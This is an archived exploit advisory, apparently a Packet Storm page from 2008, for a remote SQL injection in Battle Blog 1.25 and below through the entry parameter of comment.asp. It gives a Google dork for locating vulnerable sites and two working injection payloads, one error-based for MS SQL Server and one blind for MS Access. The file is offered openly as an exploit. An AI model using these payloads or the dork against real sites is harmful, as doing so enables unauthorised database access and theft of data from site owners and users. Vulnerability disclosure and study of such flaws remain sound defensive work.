the internet's safety

battleblog-sql.txt

battleblog-sql.txt
Posted Jun 3, 2008
Authored by Bl@ckbe@rd

Battle Blog versions 1.25 and below suffer from a remote SQL injection vulnerability in comment.asp.

tags | exploit, remote, sql injection, asp
MD5 | d940e3d000a01504c4117012c0fb58d9

battleblog-sql.txt

Change Mirror Download
+************************************************************************************************************************+
| hhh hhh aa ccccccc kk k EEEEEEEE RRRR TTTTTTTT NNN NN |
| hhh hhh aa aa cc kk k E RR R ----------- TT NN N NN |
| hhhhhhhh aaaaaaaa cc kkk EEEEEEE RR R ----------- TT NN N NN |
| hhh hhh aa aa cc kk k E RR R TT NN NNN |
| hhh hhh aa aa ccccccc kk k EEEEEEE RR R TT NN NN |
| |
+************************************************************************************************************************+

[+] Script Name : Battle Blog <= V 1.25

[+] Script In Short: ('Battle Blog's "real world" preview feature allows you to view your posting within the actual context of your presentation and customized style sheet before you've published it, or, while you're making edits to a current entry.');

[+] Found by : Bl@ckbe@rD ('Tunisian TerrorisT') ;

[+] Google dork : "Powered by Battle Blog" ;

[+] Script URL : webscripts.softpedia.com/script/Blog/Battle-Blog--31261.html ;

[+] Contact : blackbeard-sql[A.T]hotmail{.}fr ;

--//-->

[+] Expl0iT :

/comment.asp?entry={SQL}

-----> For MS SQL Server : 22+and+1=convert(int,(select+@@version))--

-----> For Ms ACCESS (Blind-Way) : IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Namee%20from%20MSysObjects))='a',0,'done')%00

--//-->

[+] GrEEtZ : allah , hak3r-b0y , UnderZ0ne Crew , InjEct0rS Team


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close